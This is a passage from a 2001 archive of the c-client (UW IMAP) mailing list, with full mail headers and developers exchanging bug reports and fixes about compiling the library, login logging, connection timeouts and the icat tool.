adr;dom:;;;Lawrenceville;NJ;08648; adr:;;2083 Lawreceville Road;Lawrenceville;NJ;08648; n:Stella;Ricardo tel;fax:1-609-219-4994 tel;work:1-609-896-5000 x7436 x-mozilla-html:FALSE url:http://poseidon.rider.edu org:Rider University;O.I.T. version:2.1 title:Manager x-mozilla-cpt:;-9584 fn:Ricardo Stella end:vcard --------------1068C4D097CEBC0ECDC9EA4A-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Feb 9 07:51:13 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 9 Feb 2001 07:51:13 -0800 (PST) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id HAA09827 for ; Fri, 9 Feb 2001 07:51:12 -0800 (PST) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Fri Feb 09 07:51:11 2001 -0800 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA11023; Fri, 9 Feb 2001 07:51:08 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id HAA23710; Fri, 9 Feb 2001 07:48:08 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id HAA116912 for ; Fri, 9 Feb 2001 07:46:16 -0800 Received: from poseidon.rider.edu (poseidon.rider.edu [204.142.238.100]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA03012 for ; Fri, 9 Feb 2001 07:46:15 -0800 Received: from rider.edu (suave.rider.edu [204.142.238.105]) by poseidon.rider.edu (8.9.3+Sun/8.9.3) with ESMTP id KAA16679 for ; Fri, 9 Feb 2001 10:46:13 -0500 (EST) Message-Id: <3A84108F.B61D1F4@rider.edu> Date: Fri, 09 Feb 2001 10:45:19 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ricardo Stella To: c-client@u.washington.edu Subject: Disable DOT Files ? MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------377C17C0CB87CE5F529F23E3" X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------377C17C0CB87CE5F529F23E3 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit There was code before to do this (I'm trying to complie it in...) but the RELNOTES now mention SET_HIDEDOTFILS and GET_HIDEDOTFILES, which would do the trick... Where can we 'enable' these ? TIA. -- ------------------------------------------------------------------ Ricardo Stella O.I.T. (609)896-5000 x7436 _suAve_ Rider University *** SPAM will not be tolerated *** --------------377C17C0CB87CE5F529F23E3 Content-Type: text/x-vcard; charset=us-ascii; name="stella.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Ricardo Stella Content-Disposition: attachment; filename="stella.vcf" begin:vcard adr;dom:;;;Lawrenceville;NJ;08648; adr:;;2083 Lawreceville Road;Lawrenceville;NJ;08648; n:Stella;Ricardo tel;fax:1-609-219-4994 tel;work:1-609-896-5000 x7436 x-mozilla-html:FALSE url:http://poseidon.rider.edu org:Rider University;O.I.T. version:2.1 title:Manager x-mozilla-cpt:;-9584 fn:Ricardo Stella end:vcard --------------377C17C0CB87CE5F529F23E3-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Feb 9 09:18:42 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 9 Feb 2001 09:18:41 -0800 (PST) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id JAA31321 for ; Fri, 9 Feb 2001 09:18:40 -0800 (PST) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Fri Feb 09 09:18:39 2001 -0800 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA32070; Fri, 9 Feb 2001 09:18:32 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id JAA27126; Fri, 9 Feb 2001 09:13:50 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id JAA144120 for ; Fri, 9 Feb 2001 09:12:34 -0800 Received: from chrome2.apexvoice.com (ns1.apexvoice.com [206.117.255.11]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA19441 for ; Fri, 9 Feb 2001 09:12:34 -0800 Received: from user (ws-206-117-255-225.apexvoice.com [206.117.255.225] (may be forged)) by chrome2.apexvoice.com (8.9.3/8.9.3) with SMTP id JAA28590; Fri, 9 Feb 2001 09:25:12 -0800 Message-Id: Date: Fri, 9 Feb 2001 09:14:48 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Steve Collins" To: "Network" , Subject: RE: Successful logins reported as failures In-Reply-To: <006101c091a7$244f0be0$0300a8c0@swahilie.net> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Sounds like a bug in your implementation of env_unix.c (goes into c-client lib, used by imapd). I'm assuming somebody modified it, because there's no bug like that in any of the distributions I've seen. > -----Original Message----- > From: C-CLIENT-owner@u.washington.edu > [mailto:C-CLIENT-owner@u.washington.edu]On Behalf Of Network > Sent: Thursday, February 08, 2001 12:14 AM > To: c-client@u.washington.edu > Subject: Successful logins reported as failures > > > Every time we have a *successful* login, imap-uw reports the > following from > /var/log/messages > - > Feb 8 02:49:43 tower imapd[508]: Login failure user= > host=tower.swahilie.net [192.168.0.5] > > OS=FreeBSD-4.2-Stable > imap-uw version= /usr/ports/mail/imap-uw/work/imap-2000a ... from the > FreeBSD ports-collection. > > How to fix this? > > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ > From pinedev@shivax2.cac.washington.edu Tue Feb 13 06:20:37 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 13 Feb 2001 06:20:37 -0800 (PST) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id GAA28017 for ; Tue, 13 Feb 2001 06:20:36 -0800 (PST) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Tue Feb 13 06:20:35 2001 -0800 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA18206; Tue, 13 Feb 2001 06:20:33 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id GAA33634; Tue, 13 Feb 2001 06:17:38 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id GAA40412 for ; Tue, 13 Feb 2001 06:13:35 -0800 Received: from samadhi.braincells.com (root@samadhi.braincells.com [216.99.37.100]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA30207 for ; Tue, 13 Feb 2001 06:13:33 -0800 Received: from localhost (jaldhar@localhost) by samadhi.braincells.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id JAA24617 for ; Tue, 13 Feb 2001 09:29:18 -0500 Message-Id: Date: Tue, 13 Feb 2001 09:29:18 -0500 (EST) Reply-To: "Jaldhar H. Vyas" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jaldhar H. Vyas" To: Subject: 2000c and latest gcc MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN FYI, I just upgraded gcc (gcc -v says "gcc version 2.95.3 20010125 (prerelease)" ) on Debian GNU/Linux unstable, and I started having some problems compiling 2000c. They are to do with certain time-related functions not being prototyped and thus by default returning an int which is != time_t. It was solved easily enough by adding #include to the following files: src/c-client/auth_md5.c src/osdep/unix/phile.c src/osdep/unix/news.c src/osdep/unix/mh.c src/osdep/unix/mx.c src/osdep/unix/crx_nfs.c -- Jaldhar H. Vyas -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Feb 13 10:27:32 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 13 Feb 2001 10:27:31 -0800 (PST) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id KAA07989 for ; Tue, 13 Feb 2001 10:27:30 -0800 (PST) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Tue Feb 13 10:27:30 2001 -0800 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA08840; Tue, 13 Feb 2001 10:27:27 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id KAA10720; Tue, 13 Feb 2001 10:24:50 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id KAA33702 for ; Tue, 13 Feb 2001 10:23:45 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA16671 for ; Tue, 13 Feb 2001 10:23:45 -0800 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id KAA17325; Tue, 13 Feb 2001 10:23:44 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (yakitori@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.12) with ESMTP id KAA02347; Tue, 13 Feb 2001 10:23:44 -0800 Message-Id: Date: Tue, 13 Feb 2001 10:22:06 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Jaldhar H. Vyas" Cc: c-client@u.washington.edu Subject: re: 2000c and latest gcc In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 13 Feb 2001 09:29:18 -0500 (EST), Jaldhar H. Vyas wrote: > FYI, I just upgraded gcc (gcc -v says "gcc version 2.95.3 20010125 > (prerelease)" ) on Debian GNU/Linux unstable, and I started having some > problems compiling 2000c. They are to do with certain time-related > functions not being prototyped and thus by default returning an int which > is != time_t. It was solved easily enough by adding > #include > to the following files: > [snip] Try the appropriate os_???.h file instead. os_lnx.h presumably? From pinedev@shivax2.cac.washington.edu Thu Feb 15 13:13:54 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 15 Feb 2001 13:13:54 -0800 (PST) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id NAA03544 for ; Thu, 15 Feb 2001 13:13:51 -0800 (PST) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Thu Feb 15 13:13:50 2001 -0800 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA08957; Thu, 15 Feb 2001 13:13:49 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id NAA26800; Thu, 15 Feb 2001 13:10:06 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id NAA70026 for ; Thu, 15 Feb 2001 13:07:42 -0800 Received: from dominion.cisco.com (dominion.cisco.com [161.44.224.12]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA05757 for ; Thu, 15 Feb 2001 13:07:41 -0800 Received: from pots.cisco.com (mirapoint@pots.cisco.com [161.44.224.224]) by dominion.cisco.com (8.8.8-Cisco List Logging/8.8.8) with ESMTP id QAA02509 for ; Thu, 15 Feb 2001 16:07:36 -0500 (EST) Received: from cisco.com (gla-dhcp223-236.cisco.com [161.44.223.236]) by pots.cisco.com (Mirapoint) with ESMTP id AEM07028 (AUTH rolockwo); Thu, 15 Feb 2001 16:07:35 -0500 (EST) Message-Id: <3A8C457C.86AF4C16@cisco.com> Date: Thu, 15 Feb 2001 16:09:16 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Bob Lockwood To: c-client@u.washington.edu Subject: Timeout apparently not honored in tcp_socket_open MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The OPENTIMEOUT parameter does not appear to always be honored in tcp_socket_open. This becomes apparent if you are trying to connect to a server that is overloaded, or worse hung. The problem can be seen by writing a dummy server that performs a listen but then sleeps forever (i.e. never calls accept). I did this and ran the dummy server on port 25, then in my client made a call to smtp_open_full after having set the OPENTIMEOUT. The client will block forever in this scenario. The culprit is the code in tcp_socket_open, which performs a non-blocking connect, followed by a blocking call to read (to validate that the server is really there). My question is two fold: 1) Why was the socket set back to blocking before the call to read? 2) Is there any chance of getting a future version of c-client fixed, so that tcp_socket_open truly supports the OPENTIMEOUT. Thanks, Bob -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Feb 17 23:02:35 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sat, 17 Feb 2001 23:02:34 -0800 (PST) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id XAA02653 for ; Sat, 17 Feb 2001 23:02:33 -0800 (PST) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Sat Feb 17 23:02:32 2001 -0800 Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA01913; Sat, 17 Feb 2001 23:02:30 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id WAA29816; Sat, 17 Feb 2001 22:59:56 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id WAA99260 for ; Sat, 17 Feb 2001 22:58:21 -0800 Received: from mail.indiaemail.com ([202.164.102.18]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA28383 for ; Sat, 17 Feb 2001 22:58:17 -0800 Received: from osmosisideaz.com [203.88.137.253] by mail.indiaemail.com with ESMTP (SMTPD32-6.00) id A1BEAE6005A; Sun, 18 Feb 2001 12:24:54 +0530 Message-Id: <3A8F7283.9DF5D78D@osmosisideaz.com> Date: Sun, 18 Feb 2001 12:28:11 +0530 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Chayan Ray To: c-client@u.washington.edu Subject: (no subject) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I am setting up Postaci, a PHP-MySQL-Apache web based email on Windows. I am unable to set up the c-client library. Please advise how to set it up and with what tools. Thanks Chayan Ray -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Feb 18 12:23:02 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 18 Feb 2001 12:22:56 -0800 (PST) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id MAA24901 for ; Sun, 18 Feb 2001 12:22:55 -0800 (PST) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Sun Feb 18 12:22:54 2001 -0800 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA30927; Sun, 18 Feb 2001 12:22:52 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id MAA27060; Sun, 18 Feb 2001 12:16:00 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id MAA119078 for ; Sun, 18 Feb 2001 12:13:36 -0800 Received: from mail.takas.lt (srvr1.telecom.lt [212.59.0.10]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA19174 for ; Sun, 18 Feb 2001 12:13:35 -0800 Received: from nnn (flatrate334.vln.takas.lt [212.59.25.79]) by mail.takas.lt (8.9.1/8.9.0) with SMTP id WAA1011486; Sun, 18 Feb 2001 22:13:18 +0200 (GMT+0200) Message-Id: Date: Sun, 18 Feb 2001 22:13:23 +0200 Reply-To: Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Nerijus Baliunas" To: "Chayan Ray" , Subject: RE: (no subject) In-Reply-To: <3A8F7283.9DF5D78D@osmosisideaz.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > I am setting up Postaci, a PHP-MySQL-Apache web based email on Windows. > I am unable to set up the c-client library. Please advise how to set it > up and with what tools. /dev/hands ? From pinedev@shivax2.cac.washington.edu Mon Feb 19 07:37:12 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 19 Feb 2001 07:37:07 -0800 (PST) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id HAA10340 for ; Mon, 19 Feb 2001 07:37:06 -0800 (PST) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Mon Feb 19 07:37:05 2001 -0800 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA18022; Mon, 19 Feb 2001 07:37:03 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id HAA34064; Mon, 19 Feb 2001 07:34:46 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id HAA109076 for ; Mon, 19 Feb 2001 07:31:43 -0800 Received: from revere3.musc.edu (revere3.musc.edu [128.23.203.10]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA01255 for ; Mon, 19 Feb 2001 07:31:43 -0800 Received: from fade (imholzj@fade.harborview.musc.edu [128.23.43.156]) by revere3.musc.edu (8.8.8/8.8.8) with ESMTP id KAA01090 for ; Mon, 19 Feb 2001 10:31:42 -0500 (EST) Message-Id: <52160000.982596657@fade> Date: Mon, 19 Feb 2001 10:30:57 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: John Imholz To: c-client@u.washington.edu Subject: icat "From " timestamp after 20th message. MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Seems like after 20 messages, icat starts putting "Sun ??? 0 00:00:00 1970 +0000" as the timestamp in the "From " line. Some clients don't like this. Is this a known bug? jji -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Feb 19 12:13:57 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 19 Feb 2001 12:13:57 -0800 (PST) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id MAA27329 for ; Mon, 19 Feb 2001 12:13:56 -0800 (PST) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Mon Feb 19 12:13:55 2001 -0800 Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA23310; Mon, 19 Feb 2001 12:13:53 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id MAA32124; Mon, 19 Feb 2001 12:12:21 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id MAA57264 for ; Mon, 19 Feb 2001 12:06:26 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (rogue@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA18826 for ; Mon, 19 Feb 2001 12:06:25 -0800 Message-Id: Date: Mon, 19 Feb 2001 11:58:16 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: John Imholz Cc: c-client@u.washington.edu Subject: re: icat "From " timestamp after 20th message. In-Reply-To: <52160000.982596657@fade> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have passed on your bug report, along with a diagnosis of the problem, to the author of icat for him to fix it. If you want to fix it yourself, try adding a mail_fetchfast(stream,"1:*") somewhere after opening the mailbox but before the loop where mail_elt() is called. The first 20 messages had their cache loaded by the mail_search(), but in a 10-second glad I saw nothing to load the cache for subsequent messages. From pinedev@shivax2.cac.washington.edu Wed Feb 21 00:04:20 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 21 Feb 2001 00:04:19 -0800 (PST) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id AAA30651 for ; Wed, 21 Feb 2001 00:04:18 -0800 (PST) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Wed Feb 21 00:04:18 2001 -0800 Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id AAA08241; Wed, 21 Feb 2001 00:04:16 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id AAA20160; Wed, 21 Feb 2001 00:02:12 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id XAA29630; Tue, 20 Feb 2001 23:59:09 -0800 Received: from hermes.birddog.com (hermes.birddog.com [63.125.164.131]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA23187; Tue, 20 Feb 2001 23:59:08 -0800 Received: from birddog.com ([192.168.1.153]) by hermes.birddog.com (8.11.2/8.11.1) with ESMTP id f1L7x6l29259; Wed, 21 Feb 2001 01:59:06 -0600 Message-Id: <3A937546.3CE51475@birddog.com> Date: Wed, 21 Feb 2001 01:59:03 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Terry Davis To: c-client@u.washington.edu, imap@u.washington.edu Subject: env_init() problems after previous install MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have used the imapd installed with my os, slackware linux without any problems. in fact it runs great. one annoyance, it places all new "folders" directly in the users home directory. I want to change this to the subdir of 'mail' in their home directory. No problem! I recompiled the binary without any problems installed and HUP'd inet without any problems as well. However, I cannot see any "folders" created when the other binary was in use. I DID copy some of them into the new location of $home/mail and I double checked that they did exist there. I also went as far as to create new folders and see where the client created them. IT created them under $home/mail just as it should. Very odd. The files seem identical in the 'mail' directory with respect to their names of course. Does imapd tag a bit on mailbox objects relative to the binary? I can see no other reason. I tried Netscape, Outlook, and Outlook Express. All saw same results. Thank you for any help on this matter! Terry -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/imap/imap-list.html ----------------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Wed Feb 21 18:28:51 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 21 Feb 2001 18:28:50 -0800 (PST) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id SAA08539 for ; Wed, 21 Feb 2001 18:28:49 -0800 (PST) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Wed Feb 21 18:28:48 2001 -0800 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA25597; Wed, 21 Feb 2001 18:28:47 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id SAA30950; Wed, 21 Feb 2001 18:25:48 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id SAA76362; Wed, 21 Feb 2001 18:22:27 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA05257; Wed, 21 Feb 2001 18:22:27 -0800 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id SAA16787; Wed, 21 Feb 2001 18:22:23 -0800 Received: from 